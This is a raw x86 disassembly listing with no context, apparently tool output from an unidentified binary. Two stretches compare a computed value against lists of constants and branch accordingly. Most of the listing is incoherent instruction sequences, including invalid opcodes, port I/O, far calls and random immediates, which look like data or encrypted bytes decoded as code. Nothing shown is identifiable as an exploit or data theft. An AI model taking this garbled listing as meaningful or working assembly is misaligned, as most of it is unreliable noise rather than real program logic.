jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0x4acc0
or eax, dword [ebp - 0x7c]
je 0x68846f57
mov edx, 0x4acc0
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0x36e84
or eax, dword [ebp - 0x7c]
je 0x68845a97
mov edx, 0x36e84
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0x2eb10
or eax, dword [ebp - 0x7c]
je 0x6884ad97
mov edx, 0x2eb10
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0x1f115
or eax, dword [ebp - 0x7c]
je 0x6884b7f7
mov edx, 0x1f115
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0x1eb68
or eax, dword [ebp - 0x7c]
je 0x688479b7
mov edx, 0x1eb68
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0x154d1
or eax, dword [ebp - 0x7c]
je 0x688464f7
mov edx, 0x154d1
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor ah, 0x95
or eax, dword [ebp - 0x7c]
je 0x6884a337
mov edx, 0x9500
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0x50d3
or eax, dword [ebp - 0x7c]
je 0x68848e77
mov eax, dword [ebp - 0x80]
xor eax, 0x7c73
or eax, dword [ebp - 0x7c]
je 0x6884ccb7
jmp 0x6884e177
and byte [edx], 0xa2
mov byte [0xae786a93], ah
inc ebx
cmp bl, byte [edx + 0x139c159]
mov edx, 0x33b6e181
dec esi
not dword [edi]
or ebp, edx
leave
and dword [esi], ebp
rcl byte [eax - 0x4254ae0a]
in eax, dx
or eax, 0x7bc730ae
salc
cmp ecx, dword [ebp - 0x76]
or dword [esi - 0x2b], 0xd45cbab
test byte [ecx], 0x96
xchg ebx, eax
and dh, byte [edx - 0x4b]
jno 0x68841cff
mov eax, 0xeea9d981
pushal
aad 0xec
dec ecx
mov dl, 0xb8
or eax, 0xa214764e
inc ebx
sal dword [edi + edi*4], 8
pop eax
sbb ch, byte [0xac5689b4]
dec edi
cwde
or edi, esp
adc esp, ebp
fcomp dword [edx]
jg 0x68841cfd
stc
fidiv dword [ebx + 0x52]
pop ds
add dword [esi - 0x75], 0x7f959e44
inc ebx
out dx, eax
xor byte [ecx - 0x56], bh
pop esp
outsd dx, dword es:[esi]
and byte [ecx + 0xfcf1afa], bl
push 0x17badc36
invalid
mov ebp, 0x31de3d53
rcr ebp, 0xea
stosd dword es:[edi], eax
movsd dword es:[edi], dword [esi]
clc
std
sub ebx, dword [edi + ebx*2 + 0x34481888]
inc ecx
sbb eax, 0xe23a9aa4
xchg esi, eax
push ss
ljmp 0xaec0
cmp eax, 0xddc131de
ljmp 0x9c2b
outsd dx, dword [esi]
popfd
cmpsb byte [esi], byte es:[edi]
invalid
cmp byte [ebx + 0x301a275a], cl
pop es
mov ebx, 0x32b0907e
pop ds
dec eax
sti
test byte [ecx + 0x23], cl
popfd
invalid
aad 0x2c
imul cx, word [eax - 0x3a], 0x6e
in al, dx
inc esp
push edx
salc
shr bl, cl
mov bl, 0xf3
push cs
sbb ah, byte [edi - 0xb52e716]
salc
wait
mov eax, 0xf234b80c
stosd dword es:[edi], eax
popal
inc ebx
push 0x553c1333
xchg edx, eax
sbb bl, bh
sti
test edi, esi
mov byte [0x6d189d70], al
jbe 0x68843b9e
pop edi
and ecx, ebx
cmp dword [eax], 0xbfe290
rcr dword [ecx], 0x6f
push eax
mov eax, dword [0x60fe74c6]
lcall 0xe3a4, 0x8a9f29b4
mov cl, 0x13
mov eax, 0xf258c913
retf 0x8d0b
adc dword [eax - 0x2136bcf1], edi
insb byte es:[edi], dx
fisttp qword [eax + 0x312ec0fd]
inc ebx
iretd
imul eax, esp, 0x14
clc
add eax, ecx
sbb esi, eax
sbb dword [esi - 0x1973986], esi
xchg byte [esi - 0x27f66134], dl
jle 0x68844eb3
clc
sbb dword [ecx - 0x71ea488f], eax
dec edx
mov dh, 0xea
mov eax, dword [0x9cb89f2e]
movsb byte es:[edi], byte [esi]
inc eax
sti
and eax, 0xfd2bfabb
call 0x23872e5e
add eax, dword [edx]
sar byte [ecx + ebx*2 - 0xf0546bc], 0xb2
fcom qword [ebp + 0x5ac3b047]
retf 0xab19
mov bh, 0x15
mov cs, word [edx - 0x4a]
ljmp 0xa49c
call 0x4a322cee
mov eax, 0x88815cad
push 0xfffffffffffffff4
jnp 0x68844e98
pop edi
dec eax
pushal
les eax, [eax + 0x1e494df7]
mov bl, 0xd2
sub edx, 0x9a6f13ca
xchg edi, eax
add dl, byte [ecx + 0x72ca83df]
dec edi
aam 0xab
pop esi
shr edx, 0x60
sti
jecxz 0x68844f3a
xchg edi, eax
adc eax, 0x4ba14299
sahf
fucomp st(6)
sub dword [ebx], ebx
in al, 0x9a
or al, 0x1e
add dh, bh
cmc
cli
ficom word [eax + 0x29b29fcc]
invalid
rcl byte [edi + 0x34], 0x96
xor ebp, dword [ecx - 0x4a860f1d]
jae 0x68844ef9
aam 3
mov bh, 0x69
jp 0x68844f82
mov al, byte [0xbbe8fd74]
push 0xffffffffffffff8f
ret 0xef32
mov dword [0x4d8df075], eax
std
arpl word [eax - 0x36], cx
push ebx
lea esi, [ebp + 0x6aa7ead2]
lds esi, [eax + 0x73]
or dword [esp + ebp*2 - 0x5e248153], esp
cmp eax, 0x1da4b989
sbb ebp, ebx
lodsb al, byte [esi]
xor edi, edx
mov eax, dword [0xa4b9893d]
sbb eax, 0x31aceb1b
xlatb
cwde
jle 0x68844fdf
or dh, byte [0x6103b33c]
loope 0x68844f5c
xlatb
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
adc al, byte [esi]
jo 0x68844fd6
daa
xchg byte [eax + 0x21768a25], cl
int 0x58
loop 0x68844ff0
mov eax, dword [0x5da60cb4]
movsb byte es:[edi], byte [esi]
fldenv [ebp - 0x24cdf32c]
stc
mov ds, word [edi]
adc cl, byte [esp + ebx*4 - 0x1bce25c5]
cmp ebx, edx
xor esp, esp
mov edi, 0xc8be3192
xor byte [edi + 0x1b], bh
enter 0x7f30, 0x1b
salc
pop eax
dec ecx
aam 0x11
sahf
pop edi
fstp qword [ebx]
adc esp, 0x2acd3662
int 0x2a
hlt
adc byte [eax], 0xa6
div byte [ebp - 0x5c]
idiv byte [ebx]
mov ah, 0x50
imul esi, dword [ebx - 0x41670ac6], 0xffffffd3
mov ebp, 0x550dfa9a
jno 0x6884503d
cmc
cwde
mov esi, 0xfa9abdd3
or eax, 0x3b2d7155
into
cmp ecx, esi
jle 0x68845023
push 0x6a
jge 0x68844f9b
cld
leave
jno 0x68845038
jle 0x68845005
fucompi st(6)
and byte [ebp - 0x6532a7dd], bh
mov ebp, 0x9acd5823
pop eax
int 0x9a
popal
push eax
lea edx, [ebx - 0x69]
cmp al, 9
mov ch, 0x38
rcl byte [eax - 0x6ebe1634]
add byte [eax], al
fnstenv [edi]
aaa
sub ah, ch
fisttp dword [ecx - 0x5a7a46bc]
jo 0x688450c2
inc esp
mov ecx, 0x7f70a585
or byte [edx + 0x2adb1828], ah
push esp
push ds
shl byte [esi], cl
out dx, al
inc edx
or eax, esi
jns 0x688450ac
jbe 0x68845094
mov al, byte [0x4ad8800b]
loope 0x68844ff8
fsubr dword [ecx]
jecxz 0x68845021
fisub dword [0x93aca9dd]
mov word [ebp + 0x1b], gs
shr byte [eax], 1
and eax, 0xba005dc6
xor byte [ebx + 0x4f], 3
and eax, dword gs:[ebp - 0x12]
salc
invalid
sti
pop ss
aad 0xbd
mov cl, 0xf4
or edi, dword [ebx - 7]
cmp al, 0x5b
aad 0x7b
ret 0x6bd6
js 0x688450f2
push 0x11
inc ebp
adc eax, 0x31d12ed8
movsd dword es:[edi], dword [esi]
enter 0xee2, 0xffffffffffffff9c
das
mov byte [ebx + 0x7c7e0abd], dl
out dx, al
jl 0x688450b2
insb byte es:[edi], dx
les ebx, [ebx - 0x723af846]
scasd eax, dword es:[edi]
jge 0x6884504e
sbb byte [edi + 0x3b43b999], 0x73
scasb al, byte es:[edi]
cmpsb byte [esi], byte es:[edi]
dec ebp
inc edi
jne 0x68845109
push edx
add eax, 0x99464f29
cdq
mov byte [edi + edx*8 + 0x1b14f2aa], dl
insd dword es:[edi], dx
inc esi
push ss
lcall 0x5a36, 0xf6101c97
jle 0x688450e0
sub ebx, dword [ebx + 0x1c]
xlatb
or al, 0xcf
xor dh, bl
in al, 0x63
sbb byte [ecx + 0x4e], ch
fst dword [ebp - 3]
dec ebp
lodsd eax, dword [esi]
push es
sub al, 0x59
pop edi
xchg esp, eax
xor al, 0xd8
mov edx, 0xcf94ed8
nop
scasb al, byte es:[edi]
cmp ecx, dword [ebp + 0x79e6cafd]
inc edx
aam 0xf1
in eax, 0x4f
imul ebx, esp, 0xffffffa5
cmp byte [eax], 0xa7
imul edx, dword [eax - 0x1d427434], 0x9e024bb1
mov esi, 0xa3d2179a
adc al, 0xdb
test dword [esi + 0x28fb940f], ecx
mov ebp, 0xf240b5
fisubr word [esi - 0x52a3df63]
sub al, 0x8b
hlt
xchg esi, eax
in eax, dx
invlpg byte [ecx - 0x1c]
rcl byte [edx + eax*4 + 0x23a46876], cl
test eax, 0x53a26919
aad 0x30
sbb eax, 0x6e9ea679
mov bl, 0x9c
sub byte [ecx], dl
loope 0x68845a97
fcmove st(0), st(4)
test al, 0xcd
inc byte [esi]
dec ebx
fdivr qword [edi]
das
test eax, 0x55a65da9
out 0xda, al
xlatb
lodsd eax, dword [esi]
std
jg 0x68845b30
test dword [esi], eax
xor ch, byte [ebx]
cld
or al, 0xdd
xor al, 0x26
or edi, dword [ebx - 0x60]
or bh, byte [edx]
inc ecx
pop es
push ebp
xchg edi, eax
adc al, 0x6b
movsb byte es:[edi], byte [esi]
cmp ah, byte [eax]
or al, byte [ebx + 0x69a1960f]
push ecx
mov ss, word [ecx]
mov al, 0x10
sti
inc edx
shr byte [ecx + 0x632f5dc1], 1
push ebx
push eax
sub eax, dword [0x617649d9]
or dword [ecx + 0x26b65e20], esi
cwde
jo 0x68845b49
adc al, 0x8c
jo 0x68845adb
and dword [eax + 0x723687c3], edx
lodsd eax, dword [esi]
xchg esi, eax
invalid
invalid
bound ebp, qword [edx]
lcall 0x3b37, 0x6dd3b3ab
lcall 0x34e0, 0x79ca0232
or esp, ebx
insd dword es:[edi], dx
test al, 0x14
push ds
pushal
popfd
mov al, 1
mov edx, 0xc7b45ebb
out dx, eax
lahf
inc esi
bound eax, qword [edx - 0x605ae3c2]
jns 0x68845b95
cmp al, 0xa8
cmp al, 0x17
stosb byte es:[edi], al
retf 0xfd87
inc edi
sbb al, 0x8c
add al, 0xe4
add edi, ebx
aad 0x88
fiadd dword [eax]
mov dh, byte [edx - 0x31]
loope 0x68845b61
mov dl, 0x8b
inc edi
jmp 0x68845b71
vsubpd ymm1, ymm0, ymmword [edi + esi*4 - 0x25]
std
pop esp
dec esp
mov bh, 0xdb
test dword [edi + 0x39b60c95], 0xd6a61dc0
inc esp
mov bl, 0xe6
mov ch, 0x5e
insd dword es:[edi], dx
pushal
cmpsd dword [esi], dword es:[edi]
in al, dx
cmp byte [ebx - 0x59], bh
cmpsd dword [esi], dword es:[edi]
jp 0x68846584
xor al, 0xf0
and cl, byte [esi - 0x12c55504]
lodsd eax, dword [esi]
push esp
jae 0x68846545
mov dh, 0x45
movsd dword es:[edi], dword [esi]
inc eax
mov ecx, 0x5720dffc
pop edx
stosd dword es:[edi], eax
jp 0x68846512
loopne 0x688464f8
invalid
jno 0x68846570
imul eax, ebp, 0x2ecdcef0
sar byte [edx], cl
leave
xchg ebx, eax
sbb byte [esi], ch
iretd
lodsd eax, dword [esi]
cmp dword [eax + 0x53], eax
fisubr dword [eax - 0x3a]
lodsb al, byte [esi]
ljmp 0x9469
or eax, 0x7d384f80
sbb eax, 0x588aa1d3
sar byte [ecx - 0x2aa591ae], cl
and cl, bh
movsd dword es:[edi], dword [esi]
stosb byte es:[edi], al
hlt
lock adc dword [eax + 0x13], esp
pop eax
fstp xword [ecx + ebx*4]
shr dword [edi - 0x46], 1
ljmp 0x2215
mov esp, 0x8313a7ba
invalid
stosb byte es:[edi], al
jp 0x68847979
push edx
rcl byte fs:[esi - 0x5f], 0xbb
sar byte [edi - 0x78c5b317], 1
mov edi, 0x873a4ce9
cmp al, byte [edi - 0x70934c56]
xor esi, dword es:[ecx - 0x43c2608]
adc byte [ebx], dl
mov bl, ch
fsubp st(3)
mov esp, 0x7449f19a
insd dword es:[edi], dx
or edx, dword [ecx]
into
inc byte [eax - 0x1ef73dcf]
stosb byte es:[edi], al
mov bl, 0x6c
invalid
loope 0x68847910
xchg ebp, eax
push ecx
ja 0x68847954
jp 0x68847999
xchg ebp, eax
jb 0x688479ea
jnp 0x6884794a
xchg edi, eax
inc edi
inc edi
adc byte [eax + 0x661d2e77], dl
test byte [ecx], ch
mov dh, 0xb
cdq
jecxz 0x68847957
rol dword [ebx + 0x2c525444], 1
xchg edx, ecx
cmpsd dword [esi], dword es:[edi]
invalid
push esp
push edx
sub al, 0x87
retf 0x8fa7
in al, 7
xor dl, byte cs:[esi - 0x3e163370]
add byte [bx + si], al
int1
imul ebp, dword [edx], 0xfffffff0
mov esi, 0xf5d31a6
inc ebp
or dword [ecx - 0x10], edx
jb 0x688479e3
insb byte es:[edi], dx
mov eax, dword [0xf79f766c]
inc edi
or ebx, esi
jne 0x6884797a
xchg ecx, eax
mov byte [0xe01870cc], al
mov bl, 0x57
sub esp, ebx
sbb al, 0x9e
jb 0x68847981
jmp 0xd1b78850
imul esp, dword [eax + 0x49bbfcda], 0x65f11c49
pop edi
sbb al, 0xf1
pop edi
mov ecx, dword [edi + esi - 0x37b5f412]
dec eax
lea edx, [edi]
mov eax, 0xd131c263
daa
mov cl, ch
mov esp, 0x204e3634
mov al, byte [0x9e81b871]
mov dh, 0xe7
clc
mov dword [0x787fc756], eax
insd dword es:[edi], dx
clc
aam 0x6a
jb 0x688479ab
lds ebp, [ecx]
popfd
dec esp
cld
insb byte es:[edi], dx
pop esi
pop ss
jmp 0x68847a48
loopne 0x68847abe
push 0x9d3a96ea
add dword [edi + 0x73], ebx
pop edx
in al, 0xc5
wait
cwde
mov ebx, 0xc5816e76
cwde
or byte [ebx - 0x3f], 0x8f
std
add byte [eax - 0x6f], ah
or bh, byte [ecx + 0x4a]
sti
lcall 0x103d, 0x97158cde
stosd dword es:[edi], eax
aam 0x75
mov cl, 0xd2
invalid
retf 0xaa0e
stosd dword es:[edi], eax
scasd eax, dword es:[edi]
dec edi
mov al, 0x69
inc esp
add al, byte [ebp - 0x33]
add ebx, eax
inc edx
imul eax, dword [edx + eax + 0x45], 0x42c301cd
in eax, 0x85
sal dword [edx + ebp*8 + 0x41e9dc98], cl
cmp esp, ebx
jno 0x68848493
cmpsb byte [esi], byte es:[edi]
xchg edx, eax
invalid
fsubr st(6), st(0)
lodsb al, byte [esi]
jbe 0x688484ab
bnd jo 0x6884841b
adc al, byte [edi + 0x3aafb9d0]
xor dword [ecx], 0xffffffa7
fld dword [ecx + 0xcd16faa]
stc
and eax, 0x70c38058
push esi
invalid
xchg ecx, eax
dec edx
adc dword [eax], edx
ljmp 0xef53
lcall 0x22c8, 0xe68fa6fb
xor al, 0xae
inc esi
add bh, cl
inc ecx
mov eax, dword [0x1a8c7d02]
xchg ecx, eax
sub ah, ch
mov ebp, 0x5a6fb5cb
fucom st(2)
mov al, byte [0x2b7eafd6]
dec edx
mov ch, 0xa9
int3
lds esi, [esi - 0x70]
int3
jl 0x6884a32e
adc dword [esi], edi
bound eax, qword [eax + 0xe]
dec ecx
adc ah, byte [ebp - 0x662881bb]
jg 0x6884a350
adc ecx, dword [esi - 0x58]
insd dword es:[edi], dx
mov ch, 0
cmp eax, 0x2d06812d
mov cl, byte [ebx]
lds ecx, [edx]
push es
sub eax, 0xac50b8a
test dword [ebx - 8], 0x18500876
pop es
fcom dword [ebx + 0x67]
js 0x6884a3cc
test eax, 0x893351b4
xor al, ah
mov ecx, 0x4c414f06
salc
push cs
add esi, dword [esi]
mov ebp, 0xc5c57fee
lahf
sbb dword cs:[esi + 0x48], edx
xchg edx, eax
xchg eax, ebp
jns 0x6884a33b
mov eax, dword [0x43184be4]
movsd dword es:[edi], dword [esi]
in al, dx
jae 0x6884a378
dec ecx
test dh, 0x2e
shr dword [edi + edx*8], 0x3e
push ds
invalid
lodsb al, byte [esi]
pop ebp
lahf
lodsb al, byte [esi]
iretd
clc
insd dword es:[edi], dx
daa
mov esi, 0xe6f20d4d
pop ebp
in eax, dx
pushal
lcall 0x995a, 0x8111e0f9
cmovle ecx, dword [eax - 0x47]
in eax, dx
sbb esp, dword [ebx - 0x4a66e290]
fistp dword [ebx - 0x65]
mov dword [0xf79abd9a], eax
mov byte [0xad467133], al
pop edi
ja 0x6884adcd
enter 0xffffffffffffd468, 0x44
cmc
xchg esi, ebp
and ch, byte [ecx - 0x23]
lcall 0xb129, 0x7e4d64e5
cmp byte [ebp - 0x48], 0x64
dec edi
in eax, 0xc7
stosd dword es:[edi], eax
imul eax, ebx, 0x38
jno 0x6884ad99
and esp, dword [eax - 0x144a13ec]
mov byte [eax + 0x33e1e9cc], dl
add byte [eax], al
cmpsb byte [esi], byte es:[edi]
dec ebp
push ss
xchg esp, eax
aaa
lahf
dec esp
movsb byte es:[edi], byte [esi]
xchg byte [eax], al
scasb al, byte es:[edi]
lodsd eax, dword [esi]
int 0x99
cli
xchg ebp, eax
add bl, byte [eax + edx*2 + 0x7fb78817]
sub edi, ebx
and ch, byte [eax]
jle 0x6884ad3e
dec eax
sbb byte es:[esi], bh
pop ebx
int1
push 0x7b
test dword [ecx - 0x58], edi
aas
bound edx, qword [0x634e8fe5]
xchg ebx, eax
adc al, 0x1e
mov ecx, 0xcfbbec9b
xor dl, byte [edx + 0x4657a146]
out 0xf3, al
in al, dx
mov ebx, 0x469232cf
mov eax, dword [0xf3e64657]
invalid
sbb dword [edi + 0x2a], 0xe9015fef
stosb byte es:[edi], al
xchg esi, eax
sbb eax, 0xf664aec3
pop ss
invalid
outsd dx, dword [esi]
lds esi, [0x177dce4c]
mov dh, 0x4f
jae 0x6884c2a5
lcall 0x8628, 0x67991493
dec esp
movsd dword es:[edi], dword [esi]
and dl, bh
mov ecx, 0xb3b6bba8
add edi, ecx
invalid
pop ecx
nop
jnp 0x6884c29a
sbb ecx, dword [ebp - 0x49d10554]
dec edx
mov ecx, 0xeea3e8ca
invalid
in eax, 0xd7
leave
aaa
out dx, al
mov dword [0xa89c4ab0], eax
dec eax
sub eax, 0x113b15e4
and dword [ecx - 0xc], ebp
inc ecx
and ebx, edx
dec ebp
movsb byte es:[edi], byte [esi]
lahf
jecxz 0x6884c282
fistp word [esi - 0x7e87da1b]
pop ss
xchg esp, eax
add eax, 0x2a761cd1
cld
push 0x6686fdd7
mov edi, 0x2d21c1d4
aad 0x9a
ret
sbb dh, bh
xor al, 0xf5
or byte [ebp + 0x3e62de3d], 0xdc
lds edi, [edi]
inc ecx
in eax, 0x90
int3
ror byte [ecx - 0x490bc35], 1
xor al, 0x18
or eax, 0x8a28b2b9
stosd dword es:[edi], eax
test byte [eax + 0x518f4ef9], 0x28
mov al, byte [0xb8df7bc3]
xchg dword [edi], ebx
adc byte ds:[edi + 0x40c792bc], ch
loope 0x6884cca1
stc
dec esi
invalid
xchg esp, eax
pop ecx
cmp eax, 0x15e644d7
xchg edx, eax
xchg ecx, eax
sbb al, 0xe1
jge 0x6884ccf8
cli
push 0xffffffffffffffd3
int1
invalid
inc edi
cld
clc
add dword [ebp - 0x22eb9a89], edx
dec ebp
cmp byte [ebp - 0x6cca90bf], ah
xchg ebp, eax
xchg esp, eax
add eax, 0xe0488aaa
int 1
inc esi
cld
movsd dword es:[edi], dword [esi]
xor dh, dl
mov al, 0xdd
movsd dword es:[edi], dword [esi]
test byte [edx], dh
dec esp
push ecx
or eax, dword [esi - 0x80]
movd mm1, dword [edi + 0x17]
rcr dword [eax + ecx*8 + 0x72], 0
push edi
jae 0x6884ccc7
push esi
test al, 0x2c
in eax, 0xb1
mov dh, 0x1a
xlatb
or dl, byte [eax - 0x5968e8fc]
daa
xchg ecx, eax
iretd
int 0x99
sbb dword [ebp - 0x5d55e051], 0xfac1097
sbb eax, 0x8da5f3a4
mov esp, 0x1db5b7ef
fistp dword [edx]
sbb dl, dl
sti
mov cl, 0xcd
adc al, 0xb3
adc eax, 0x6104ada8
inc ebp
cmpsb byte [esi], byte es:[edi]
sub dh, byte [edx - 0x3e]
cmp al, 0x29
and edx, dword [edx + 0x10a9bdb6]
stc
or eax, 0x4730a83e
pop edx
cmp eax, 0x22f5b06d
test al, 0xcb
aam 0x78
cmp dword [ebx - 0x1b], edx
aad 0x31
xchg esp, eax
add esp, dword [edi - 0x49]
inc esp
sbb al, 0x4f
salc
and ebp, esi
cmc
or eax, 0x99f26922
cld
jmp 0x6884d7a6
push 0x17
movsd dword es:[edi], dword gs:[esi]
mov ebp, 0x18329e
dec esp
inc ecx
adc eax, 0xa1d7add1
in al, 0x8e
adc byte [edx - 0x68916216], ch
push esp
out dx, al
mov al, 0x3e
mov ah, 0x17
cvtdq2ps xmm0, xmmword [esi + ecx*4 - 0x3bfdd0fc]
out dx, eax
nop
mov cl, 0x2b
add eax, 0x2446768
push ds
pop ss
sbb dword [edx - 0x6b], 0x26550fee
mov al, 0x52
ret 0xf0e5
nop
jmp 0x6884e178
nop
mov dword [esp + 8], str.gcmxfsxsno
mov dword [esp + 4], 0x18
lea eax, [ebp - 0x162]
mov dword [esp], eax
call fcn.68250591
lea eax, [ebp - 0x162]
mov dword [esp], eax
call fcn.6835931b
test eax, eax
jne 0x68877402
mov dword [ebp - 0xa0], 0xdd174
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa8], 0x4ac28
mov dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0xa8]
mov edx, eax
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0xa0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xa0]
mul dword [ebp - 0xa8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0xb0]
xor eax, 0x90b2aa20
mov edx, dword [ebp - 0xac]
xor edx, 0x40
or eax, edx
je 0x6885c02c
mov edx, 0x90b2aa20
mov eax, 0x40
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0xe955f
or eax, dword [ebp - 0xac]
je 0x68850fcf
mov edx, 0xe955f
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0xbef83
or eax, dword [ebp - 0xac]
je 0x6885778f
mov edx, 0xbef83
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0xb7d73
or eax, dword [ebp - 0xac]
je 0x68851a2f
mov edx, 0xb7d73
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0xb5120
or eax, dword [ebp - 0xac]
je 0x6885056f
mov edx, 0xb5120
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0xadc46
or eax, dword [ebp - 0xac]
je 0x68858c4f
mov edx, 0xadc46
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0xac85e
or eax, dword [ebp - 0xac]
je 0x6885394f
mov edx, 0xac85e
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x98426
or eax, dword [ebp - 0xac]
je 0x6885a10f
mov edx, 0x98426
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x96267
or eax, dword [ebp - 0xac]
je 0x6884f0af
mov edx, 0x96267
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x8e668
or eax, dword [ebp - 0xac]
je 0x68856d2f
mov edx, 0x8e668
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x886a1
or eax, dword [ebp - 0xac]
je 0x6885b5cf
mov edx, 0x886a1
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x85131
or eax, dword [ebp - 0xac]
je 0x688543af
mov edx, 0x85131
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x7ccf6
or eax, dword [ebp - 0xac]
je 0x6885248f
mov edx, 0x7ccf6
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x5a9b7
or eax, dword [ebp - 0xac]
je 0x6884e64f
mov edx, 0x5a9b7
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x54c52
or eax, dword [ebp - 0xac]
je 0x688596af
mov edx, 0x54c52
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x415ef
or eax, dword [ebp - 0xac]
je 0x68852eef
mov edx, 0x415ef
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x3c37b
or eax, dword [ebp - 0xac]
je 0x6884fb0f
mov edx, 0x3c37b
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x38e77
or eax, dword [ebp - 0xac]
je 0x6885ab6f
mov edx, 0x38e77
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x29801
or eax, dword [ebp - 0xac]
je 0x6885586f
mov edx, 0x29801
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
mov eax, dword [ebp - 0xb0]
xor eax, 0x248a6
or eax, dword [ebp - 0xac]
je 0x68854e0f
mov edx, 0x248a6
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6885c02f
add byte [ebx - 0xaf7b], cl
push dword [0xa90d]
mov eax, dword [ebp - 0xb0]
xor eax, 0xa90d
or eax, dword [ebp - 0xac]
je 0x688581ef
mov eax, dword [ebp - 0xb0]
xor eax, 0xb502
or eax, dword [ebp - 0xac]
je 0x688562cf
jmp 0x6885c02f
aad 0x16
adc dword [0x14677440], eax
push edi
xlatb
jb 0x6884e61b
pop edx
add al, 0x5a
pop esp
jp 0x6884e6a4
sub ebp, dword [edi]
push edx
mov esp, 0xa5f86284
jae 0x6884e68c
in al, dx
and dword [ebp + 0x32], ebp
jns 0x6884e6ad
adc dword [ecx + 0x20], esp
inc esp
stosb byte es:[edi], al
jno 0x6884e622
lds esi, [eax]
mov dword [0xe6340c35], eax
in eax, dx
loope 0x6884e684
xlatb
xlatb
xor eax, 0x7e6a5b9b
wait
pop ebx
push 0x7e
invalid
stosb byte es:[edi], al
jl 0x6884e683
mov es, edx
insd dword es:[edi], dx
sbb byte [eax + 0x5a], dl
mov edx, 0x4b973fc2
rol dword [ecx], cl
seto byte [eax + 0x39]
out 0xfb, al
fmul dword [edx + 0x41ac3d3b]
cmp bh, byte [edi]
mov bh, byte [ebx]
cmp eax, 0x3f3a41ac
adc cl, byte [edi]
push 0x9988a59c
xchg esp, eax
mov dh, 0xc0
mov byte [ebx - 0x17c8e185], ah
or eax, 0xfb63a8b6
cmp eax, 0xae189d7
and bh, ah
sub al, 0x2c
jle 0x6884e685
movsd dword es:[edi], dword [esi]
jnp 0x6884e720
add eax, 0x2dbee09f
dec edi
or al, 0xa9
inc ebp
xor eax, 0x2a7b1465
xchg ecx, eax
push esi
ret
